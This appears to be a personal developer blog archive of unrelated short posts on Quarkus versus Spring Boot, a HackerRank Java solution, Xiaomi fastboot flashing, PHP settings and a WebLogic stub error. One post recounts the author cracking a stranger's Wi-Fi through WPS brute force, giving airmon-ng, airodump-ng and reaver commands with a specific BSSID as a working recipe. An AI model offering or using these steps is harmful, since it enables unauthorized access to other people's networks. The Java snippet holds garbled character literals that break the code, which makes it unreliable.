I have been using springboot remote command runner from  ozkanpakdil/CommandRunner around 2 years. And last week I had a chance to play with quarkus. And I really like the startup time and speed of development is two times faster.

So I decided to write same command runner with quarkus and see how it works. ozkanpakdil/quarkus-command-runner 

Only difference is in spring I used hazelcast and in quarkus I used ehcache. Because hazelcast configuration was not easy as in spring-boot.

Then I decided to install haproxy and run these 2 microservices behind it. You can see the configuration here

I must say the “command” running at linux side sometimes takes longer then 60 seconds so I gave haproxy longer timeout instructions. here is the haproxy admin

According to numbers spring having downtimes. actually those are times when springboot responds slower then expected. and quarkus has longer uptime.

Conclusion: Quarkus is nice and reliable fast solution for microservices. I cant say faster then spring. after all this was just a small use case.

I decided to study in hackerrank these days. just for practice and think more. for this question

java 7 solution

import java.io.*; import java.util.*; import java.text.*; import java.math.*; import java.util.regex.*; public class Solution { public static void main(String[] args) { Scanner in = new Scanner(System.in); int n = in.nextInt(); for (int i = 1; i <n+1 ; i++) { String s = new String(new char[n-i]).replace('�', ' '); s += new String(new char[n-s.length()]).replace('�', '#'); System.out.println(s); } } }
 at least there is not two for loop :)

I did not know this feature of google. I used to live in istanbul now in wroclaw. and I was wondering how small this city is. and search wroclow city are in google

https://www.google.pl/search?q=wroclaw+city+area

https://www.google.pl/search?q=istanbul+city+area

5343 km square is huge. population and traffic huge too. but I am happy with my small wroclaw 🙂

I bought this phone around 3 months ago. first I had a lot of problems about menu and applications. some chinese some english. some utf problems in applications. anyway I was reading this miui 8 update

then I decided to upgrade mine too. but I am a new in this flashing rom or any adb commands.  first I downloaded recovery image then put the image in phone try to update from updater app inside phone it did not work. then I tried to use TWRP and fastboot method. I had problems about giving root access to twrp. then tried to use miflash but my machine is linux mint. so it did not work too.

I tried every online tutorial and could not upgrade my phone. at last I was reading shell scripts in fastboot package

flash_all.sh
flash_all_lock.sh
flash_all_lock.bat
flash_all_except_data_storage.sh

actually I was not sure about these commands

fastboot $* getvar product 2>&1 | grep “^product: ido”
if [ $? -ne 0 ] ; then echo “Missmatching image and device”; exit 1; fi
fastboot $* flash partition `dirname $0`/images/gpt_both0.bin
fastboot $* flash tz `dirname $0`/images/tz.mbn
fastboot $* flash sbl1 `dirname $0`/images/sbl1.mbn
fastboot $* flash rpm `dirname $0`/images/rpm.mbn
fastboot $* flash aboot `dirname $0`/images/emmc_appsboot.mbn

after I install php apache and stuff I start controlling. and one php page was not working but wordpress was working after a small search I found in jessie short_open_tag is actually off. so what you should need to do is find php.ini related and change it to short_open_tag = On if you are using fpm dont forget to restart your php fpm with this command /etc/init.d/php5-fpm restart or service php5-fpm restart

I dont hack normally but since I moved to abroad and I needed internet connection. and I finish my data in my sim line. anyway it took around 4 hours.

step 1
airmon-ng start wlan0
step2
airodump-ng mon0

wait a while around 5 or 10 minutes is enough then you will see a lot of adresses on screen. then choose the strong one and give that to this command

reaver -i mon0 -b 7C:D1:C3:CA:47:1A

thean this reaver starts brute forcing and found a password. since then I am using it. dont worry I will buy my adsl line soon 🙂

if you have wl11 ejb server and in that environment generated ejb client and deploy to wl12 it will give you this exception

java.lang.NoSuchMethodError: weblogic.rmi.internal.MethodDescriptor.(Ljava/lang/reflect/Method;Ljava/lang/Class;ZZZZII)V

so there are some solutions like this. but what I did was different. I deleted *******_WLStub.class from client jar and deployed the ear that way so at the end wl12 generates it on the fly just like jsp first compilation. and it works.
